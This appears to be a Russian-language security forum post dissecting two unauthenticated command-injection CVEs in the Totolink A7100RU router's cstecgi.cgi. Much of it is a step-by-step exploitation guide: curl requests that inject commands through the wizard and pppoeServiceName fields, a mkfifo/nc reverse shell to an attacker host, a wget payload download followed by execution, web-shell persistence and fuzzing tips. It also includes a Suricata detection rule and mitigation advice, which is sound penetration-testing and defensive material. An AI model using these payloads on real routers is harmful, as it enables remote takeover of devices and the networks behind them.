Totolink A7100RU - двухдиапазонный SOHO-роутер на MIPS-архитектуре с прошивкой на базе embedded Linux. В СНГ этих коробочек полно, и прошивка 7.4cu.2313_b20191024 у них - одна сплошная дыра: единый CGI-обработчик
/cgi-bin/cstecgi.cgi берёт пользовательский ввод и скармливает его напрямую в system() или popen() без какой-либо санитизации. Результат - десятки CVE с одинаковым паттерном. CVE-2026-6154 и CVE-2026-6155 из этой коллекции дают удалённое выполнение произвольных команд без аутентификации.Разберу обе уязвимости на уровне конкретных функций и аргументов, покажу путь атаки от HTTP-запроса до получения шелла, и объясню, почему этот роутер - не единичный случай, а типичный представитель системной болезни SOHO-прошивок.
Что представляет собой attack surface Totolink A7100RU
Прошивка A7100RU построена по стандартной для дешёвых SOHO-роутеров схеме: веб-интерфейс обслуживается облегчённым HTTP-сервером (GoAhead или его форк), который проксирует запросы к CGI-бинарникам. Ключевой обработчик -/cgi-bin/cstecgi.cgi. Один скомпилированный MIPS-бинарник, который маршрутизирует запросы по значению параметра (обычно topicurl) к внутренним C-функциям.Каждая функция отвечает за конкретную настройку: Wi-Fi, WAN-подключение, обновление прошивки, диагностика. Проблема в том, что разработчики Totolink последовательно допускают одну и ту же ошибку - значение аргумента из HTTP-запроса конкатенируется в строку и улетает в
system(). Без экранирования спецсимволов, без whitelist-валидации, без фильтров вообще.Вот почему в одной прошивке 7.4cu.2313_b20191024 по данным NVD обнаружено больше десяти идентичных по паттерну уязвимостей: CVE-2026-6116, CVE-2026-6131, CVE-2026-6132, CVE-2026-6138, CVE-2026-6139, CVE-2026-6140, CVE-2026-6154, CVE-2026-6155, CVE-2026-6156, CVE-2026-6195. Все - CWE-78 (OS Command Injection), все с CVSS 4.0 score 8.9 (HIGH), все эксплуатируются удалённо без аутентификации. Различаются только имя функции и название аргумента. Копипаста бага - вот что это.
CVE-2026-6154: инъекция через setWizardCfg и аргумент wizard
По описанию NVD, CVE-2026-6154 затрагивает функциюsetWizardCfg в /cgi-bin/cstecgi.cgi. Уязвимый аргумент - wizard. Манипуляция им приводит к OS command injection. Атака выполняется удалённо, публичный эксплойт доступен.Технические параметры по данным NVD
| Параметр | Значение |
|---|---|
| CVSS 4.0 | 8.9 (HIGH) |
| Вектор | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-77 (Command Injection), CWE-78 (OS Command Injection) |
| Прошивка | 7.4cu.2313_b20191024 |
| Exploit Status | Public (E |
Разберём вектор по компонентам.
AV:N - атака по сети, достаточно добраться до веб-интерфейса роутера. AC:L - никаких race condition или хитрых условий. PR:N - аутентификация не нужна (да, серьёзно). UI:N - пользователю не надо ничего нажимать. Тройка VC:H/VI:H/VA:H - полная компрометация конфиденциальности, целостности и доступности.Два CWE - не ошибка классификации. CWE-77 описывает общий паттерн инъекции команд (пользовательский ввод формирует команду), а CWE-78 конкретизирует: команда выполняется в контексте ОС. Внутри
setWizardCfg значение wizard попадает в строку, которая уходит в shell-вызов - system(), popen() или что-то аналогичное.Как это выглядит на уровне бинарника
Извлекаем файловую систему прошивки черезbinwalk -eM, грузим cstecgi.cgi в Ghidra с архитектурой MIPS (для MediaTek-based Totolink обычно MIPS32 little-endian). Находим setWizardCfg - и видим знакомую до зубной боли картину: вызов обёртки над cgi_get_param или websGetVar для получения параметра из HTTP-запроса, результат через sprintf формирует строку:
Код:
sprintf(cmd_buf, "some_command %s", wizard_value);
system(cmd_buf);
wizard_value на метасимволы shell: ;, |, $(), обратные кавычки. Подставляешь в wizard что-нибудь вроде value;id - и system() послушно выполняет сначала легитимную команду, а потом id. Проще не бывает.CVE-2026-6155: инъекция через setWanCfg и аргумент pppoeServiceName
Вторая уязвимость эксплуатирует тот же/cgi-bin/cstecgi.cgi, но другую функцию - setWanCfg. Уязвимый аргумент - pppoeServiceName. CVSS-метрики идентичны: 8.9 (HIGH), CWE-77 + CWE-78, удалённая эксплуатация без аутентификации.setWanCfg отвечает за настройку WAN-подключения. pppoeServiceName - имя PPPoE-сервиса, которое вводят при настройке интернета. В нормальном сценарии это строка вроде ISP_Service. Но значение летит в shell-команду без санитизации, так что атакующий внедряет что угодно.Нюанс, который стоит держать в голове:
setWanCfg вызывается при начальной настройке или изменении WAN-параметров. В прошивках Totolink эти CGI-эндпоинты часто доступны без аутентификации by design - мол, роутер же, в доверенной локальной сети. На практике Shodan регулярно показывает тысячи SOHO-роутеров с веб-интерфейсом, торчащим в интернет. Доверенная сеть, ага.Практический путь эксплуатации: от HTTP-запроса до шелла
Требования к окружению
Для воспроизведения нужен доступ к прошивке Totolink A7100RU 7.4cu.2313_b20191024 (физическое устройство или эмуляция). Инструменты:binwalk (v2.3+), Ghidra (10.x+) или IDA Pro, curl, опционально qemu-user-mipsel для эмуляции CGI-бинарника без железа. Сетевой доступ к порту 80 или 443 целевого устройства.Шаг 1: разведка - определяем доступные функции cstecgi.cgi
Роутеры Totolink используют предсказуемую структуру API. Запросы к/cgi-bin/cstecgi.cgi передают JSON-тело с ключом topicurl, который определяет вызываемую функцию. Первый шаг - подтвердить, что эндпоинт живой. curl -s http://<target>/cgi-bin/cstecgi.cgi должен вернуть ответ (пустой JSON или ошибку) - значит, обработчик на месте. Если анализируете извлечённую прошивку - grep по строкам setWizardCfg и setWanCfg в бинарнике покажет, что обе функции зарегистрированы.Шаг 2: формирование payload для CVE-2026-6154
Целевая функция -setWizardCfg, уязвимый аргумент - wizard. По данным TheHackerWire, аргумент конкатенируется прямо в строку shell-команды. Метасимволы для инъекции: ; (разделитель команд), $(command) (подстановка), | (pipe). Проверяем наличие OS command injection:
Код:
curl -X POST http://<target>/cgi-bin/cstecgi.cgi \
-H "Content-Type: application/json" \
-d '{"topicurl":"setWizardCfg","wizard":"test;id"}'
sleep, DNS-запрос при nslookup) видно результат инъекции - уязвимость подтверждена. Для reverse shell классический подход: wizard = test;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f. Но конкретный синтаксис зависит от BusyBox на устройстве - есть ли nc, поддерживает ли флаг -e. Лично я всегда начинаю с which nc и nc -h, чтобы понять, с каким набором утилит имею дело.Шаг 3: эксплуатация CVE-2026-6155 через pppoeServiceName
Аналогичный подход. ФункцияsetWanCfg, аргумент pppoeServiceName:
Код:
curl -X POST http://<target>/cgi-bin/cstecgi.cgi \
-H "Content-Type: application/json" \
-d '{"topicurl":"setWanCfg","pppoeServiceName":"ISP;wget http://<attacker>/payload -O /tmp/p"}'
wget, который обычно есть в BusyBox. Дальше chmod +x /tmp/p && /tmp/p следующим запросом.Шаг 4: подтверждение и закрепление
После получения выполнения кода проверяем контекст:id покажет пользователя (на SOHO-роутерах это практически всегда root - сюрприз, правда?). cat /proc/version - версия ядра, cat /etc/passwd - структура пользователей. Это техника System Information Discovery (T1082) по MITRE ATT&CK.Для закрепления (Persistence) атакующий может записать веб-шелл - техника Web Shell (T1505.003). На роутерах с tmpfs это непостоянный доступ, но на устройствах с записываемой JFFS2-партицией шелл переживёт перезагрузку. Тут уж как повезёт с конкретным экземпляром.
Карта атаки по MITRE ATT&CK
Эксплуатация CVE-2026-6154 и CVE-2026-6155 укладывается в такую цепочку:| Этап | Техника | ID | Описание в контексте A7100RU |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | Эксплуатация CGI-обработчика через HTTP |
| Initial Access | External Remote Services | T1133 | Веб-интерфейс роутера, открытый в сеть |
| Execution | Unix Shell | T1059.004 | Инжектированные команды выполняются через /bin/sh |
| Execution | Network Device CLI | T1059.008 | Команды в контексте embedded Linux |
| Persistence | Web Shell | T1505.003 | Размещение шелла в /tmp или на JFFS2 |
| Discovery | System Information Discovery | T1082 | Сбор информации об устройстве после компрометации |
| Command and Control | Ingress Tool Transfer | T1105 | Загрузка дополнительных payload через wget/curl |
| Defense Evasion | Default Accounts | T1078.001 | Использование учёток по умолчанию, если аутентификация всё же присутствует |
Системная проблема: почему весь cstecgi.cgi - одна большая уязвимость
CVE-2026-6154 и CVE-2026-6155 - два проявления фундаментального архитектурного дефекта. По данным NVD, в той же прошивке 7.4cu.2313_b20191024 аналогичные command injection уязвимости нашлись в куче других функций:| CVE | Функция | Аргумент | CVSS 4.0 |
|---|---|---|---|
| CVE-2026-6116 | setDiagnosisCfg | ip | 8.9 |
| CVE-2026-6131 | setTracerouteCfg | command | 8.9 |
| CVE-2026-6132 | setLedCfg | enable | 8.9 |
| CVE-2026-6138 | setAccessDeviceCfg | mac | 8.9 |
| CVE-2026-6139 | UploadOpenVpnCert | FileName | 8.9 |
| CVE-2026-6140 | UploadFirmwareFile | FileName | 8.9 |
| CVE-2026-6154 | setWizardCfg | wizard | 8.9 |
| CVE-2026-6155 | setWanCfg | pppoeServiceName | 8.9 |
| CVE-2026-6156 | setIpQosRules | Comment | 8.9 |
| CVE-2026-6195 | setPasswordCfg | admpass | 8.9 |
Десять функций, десять CVE, один и тот же корневой паттерн - пользовательский ввод из HTTP-запроса подставляется в строку, которую выполняет shell. Это не баг - это архитектурный дефект на уровне проектирования. Разработчик не использовал ни
execve() с массивом аргументов (который не создаёт shell-контекст), ни функции экранирования, ни whitelist-валидацию.Для пентестера это значит: обнаружили Totolink A7100RU с этой прошивкой - не нужно искать одну конкретную уязвимость. Практически любой параметр любой CGI-функции с высокой вероятностью уязвим к инъекции. Прогоняете
cstecgi.cgi через Burp Suite Intruder с payload-листом метасимволов (; | $() &&) по всем параметрам JSON-запроса - и собираете урожай.Обнаружение и митигация для защитников
Сетевые индикаторы
На уровне IDS/IPS стоит ловить POST-запросы к/cgi-bin/cstecgi.cgi с shell-метасимволами в теле JSON. Suricata-правило для базового обнаружения попытки эксплуатации роутер RCE уязвимости:
Код:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"TOTOLINK A7100RU cstecgi.cgi command injection attempt"; flow:to_server,established; http.uri; content:"/cgi-bin/cstecgi.cgi"; http.request_body; pcre:"/[\x3b\x7c\x60\x24\x28]/"; sid:2026615; rev:1;)
;, |, обратные кавычки, $, ( в теле POST-запроса к CGI-обработчику. Базовый эвристический детект - будут false positives на легитимных запросах с этими символами, но на SOHO-роутере таких запросов в норме не бывает.Митигация при невозможности обновления
На момент публикации NVD патч для A7100RU не подтверждён. Что делать:- Закрыть доступ к веб-интерфейсу со стороны WAN - через iptables или отключить Remote Management. Это первое и самое важное.
- Ограничить доступ к LAN-интерфейсу - поставить роутер за дополнительный файрвол, разрешить управление только с конкретных IP.
- Мониторить исходящие подключения с IP роутера - если с адреса роутера полетели
wget,curlили DNS-запросы к странным доменам, это red flag. - Серьёзно подумать о замене устройства. При десяти однотипных command injection в одной прошивке ждать качественного патча от вендора - так себе стратегия.
Почему это всё работает именно так
Вопрос, который задают начинающие пентестеры: почему CGI-обработчик на роутере принимает команды без аутентификации? Ответ - в экономике embedded-разработки. Прошивки для SOHO-роутеров пишутся маленькими командами с околонулевым бюджетом на security review.cstecgi.cgi - монолитный обработчик, где десятки функций настройки дёргают системные утилиты через system(), потому что так проще, чем писать нативный парсер конфигов. Аутентификация реализована на уровне JavaScript-фронтенда или проверяется cookie, которую можно угадать или обойти. На заборе написано «авторизация», а за забором - system() без фильтров.И это не уникальная проблема Totolink. Аналогичные уязвимости прошивки роутера с CWE-78 массово регистрируются для Wavlink (CVE-2026-6483 в WL-WN530H4, CVSS 7.3 по NVD), других моделей Totolink (CVE-2026-6158 в N300RH), и десятков SOHO-вендоров. Паттерн один: CGI +
system() + отсутствие санитизации = получение шелла через CGI в один HTTP-запрос.Контекст для пентестера: как использовать эти CVE в реальном проекте
При пентесте периметра, если на Shodan или Censys обнаружен Totolink A7100RU, алгоритм такой:Первое - подтвердить версию прошивки. Обычно она видна на странице логина или в ответе на GET к корню. Строка
7.4cu.2313 - ваш триггер.Второе - blind command injection для подтверждения. Вместо
id используйте time-based: wizard = test;sleep 5. Ответ задерживается на 5 секунд - инъекция подтверждена без необходимости видеть вывод. Просто и надёжно.Третье - out-of-band подтверждение через DNS:
wizard = test;nslookup unique-token.your-collaborator-domain. Запрос на ваш DNS-сервер подтвердит выполнение команды даже при отсутствии прямого вывода.Четвёртое - при эксплуатации учитывайте ограничения BusyBox. Не все опции GNU-утилит доступны. Проверьте наличие
nc с флагом -e через which nc - если нет, используйте вариант с mkfifo. Или запишите shell-скрипт через echo по одной строке и выполните. На одном проекте я потратил полчаса, пытаясь запустить reverse shell стандартным способом - оказалось, в этом BusyBox даже nc собран без поддержки -e. Классика embedded.Вопрос к читателям
При анализе прошивки A7100RU 7.4cu.2313_b20191024 черезbinwalk -eM и загрузке cstecgi.cgi в Ghidra видно, что все уязвимые функции - от setWizardCfg до setPasswordCfg - используют один и тот же внутренний вызов для получения параметров из HTTP-запроса перед передачей в system(). Кто из вас реверсил этот бинарник - через какую конкретно wrapper-функцию (websGetVar, cgi_get, кастомная обёртка?) Totolink передаёт значения аргументов? И пробовал ли кто-нибудь эмулировать cstecgi.cgi через qemu-user-mipsel с подменой nvram - какой набор переменных окружения (REQUEST_METHOD, CONTENT_TYPE, CONTENT_LENGTH) минимально необходим для запуска? Делитесь в комментариях - интересно сравнить результаты.
Последнее редактирование модератором: